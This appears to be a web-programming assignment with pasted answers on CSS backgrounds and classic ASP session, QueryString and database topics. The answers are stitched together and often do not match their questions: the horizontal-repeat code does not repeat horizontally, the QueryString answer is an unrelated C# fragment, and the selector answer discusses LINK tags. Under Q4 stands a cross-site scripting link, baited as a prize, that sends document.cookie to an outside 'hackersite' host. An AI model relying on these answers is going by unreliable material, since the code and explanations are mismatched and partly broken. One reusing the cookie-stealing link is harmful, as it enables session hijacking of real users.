How To Set The Background Color With CSS
How To Set The Background Color With CSS
How To Set The Background Color With CSS
Q:-1. Suppose you have been given a task of working with cascading style
sheet backgrounds. What you need to do is to set the background color of
different elements and to repeat a background image only horizontally.
Write the code snippet for the same.
<head>
<title>this is the title of the web page</title>
<style type="text/css">
body {background-color: yellow;}
h1 {background-color: #00ff00;}
h2 {background-color: red;}
p {background-color: rgb(250,0,255);}
</style>
</head>
<body>
<h1>
This is a level 1 header
</h1>
<h2>
This is a level 2 header
</h2>
<p>
This is a paragraph
</p>
</body>
</html>
<head>
<title>this is the title of the web page</title>
<style type="text/css">
body
{
background-image:
url('csshtmltutorial-image.jpg')
}
</style>
</head>
<body>
</body>
</html>
<head>
<title>this is the title of the web page</title>
<style type="text/css">
body
{
background-image:
url('csshtmltutorial.jpg');
background-repeat: repeat;
}
</style>
</head>
<body>
</body>
</html>
Ques:-2When you are working with an application on your computer, you open it,
do some changes and then you close it. On the internet there is one problem: the
web server does not know who you are and what you do, because the HTTP
address doesn't maintain state that is why the changes made by you are not
consistent at all. So you suggest a solution in such a way that computer start
knowing who you are, and it knows when you open the application and you close
the application. Write a program in ASP to implement your proposed solution
practically.
Ans:-
<%
Session.Timeout=5
%>
<%
Session.Abandon
%>
The most important thing about the Session object is that you can store
variables in it.
The example below will set the Session variable username to "Donald Duck"
and the Session variable age to "50":
<%
Session("username")="Donald Duck"
Session("age")=50
%>
When the value is stored in a session variable it can be reached from ANY page
in the ASP application:
Welcome <%Response.Write(Session("username"))%>
You can also store user preferences in the Session object, and then access that
preference to choose what page to return to the user.
The example below specifies a text-only version of the page if the user has a
low screen resolution:
The example below removes the session variable "sale" if the value of the
session variable "age" is lower than 18:
<%
If Session.Contents("age")<18 then
Session.Contents.Remove("sale")
End If
%>
<%
Session.Contents.RemoveAll()
%>
Q:-3. Is it possible to create objects with session or application scope in
Global.asa by using<object> tag? If yes, then give an example of creating object
of session scop in support of your answer.
The ASP Application and Session objects provide convenient containers for
caching data in memory. You can assign data to both Application and Session
objects, and this data will remain in memory between HTTP calls. Session data
is stored per user, while Application data is shared between all users.
At what point do you load data into the Application or Session? Often, the data
is loaded when an Application or Session starts. To load data during
Application or Session startup, add appropriate code to Application_OnStart()
or Session_OnStart(), respectively. These functions should be located in
Global.asa; if they are not, you can add these functions. You can also load the
data when it's first needed. To do this, add some code (or write a reusable script
function) to your ASP page that checks for the existence of the data and loads
the data if it's not there. This is an example of the classic performance technique
known as lazy evaluation-don't calculate something until you know you need it.
An example:
Copy
<%
Function GetEmploymentStatusList
Dim d
d = Application("EmploymentStatusList")
If d = "" Then
' FetchEmploymentStatusList function (not shown)
' fetches data from DB, returns an Array
d = FetchEmploymentStatusList()
Application("EmploymentStatusList") = d
End If
GetEmploymentStatusList = d
End Function
%>
Q4. Write a code snippet in ASP to send query information when a user clicks on a
link to another page. Retrieve that information on the destination page using the
concept of QueryString.
// Redirect
string targetUrl;
targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
Response.Redirect(targetUrl);
}
}
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>
Q5. Discuss the common way to access the database from an ASP page.
Bullschmidt – ASP Web Database Sample - A sample Web database can give
you ideas about tying everything together and can even be used as a starting
point for a Web project. Login and add, edit, or view fictional customers and
invoices!
Ques6:- In addition to setting a style for a HTML element, CSS allows you to
specify your own selectors for a single, unique element as well as for a group of
elements. Write the code snippet for both types of selectors taking the text-align
and color attributes into account to give it a practical implementation.
The <LINK> tag is placed in the document HEAD. The optional TYPE attribute
is used to specify a media type--text/css for a Cascading Style Sheet--allowing
browsers to ignore style sheet types that they do not support.
The <LINK> tag also takes an optional MEDIA attribute, which specifies the
medium or media to which the style sheet should be applied. Possible values are
In this example, three style sheets are combined into one "Contemporary" style
that is applied as a preferred style sheet. To combine multiple style sheets into a
single style, one must use the same TITLE with each style sheet.
An external style sheet is ideal when the style is applied to numerous pages.
With an external style sheet, an author could change the look of an entire site by
simply changing one file. As well, most browsers will cache an external style
sheet, thus avoiding a delay in page presentation once the style sheet is cached.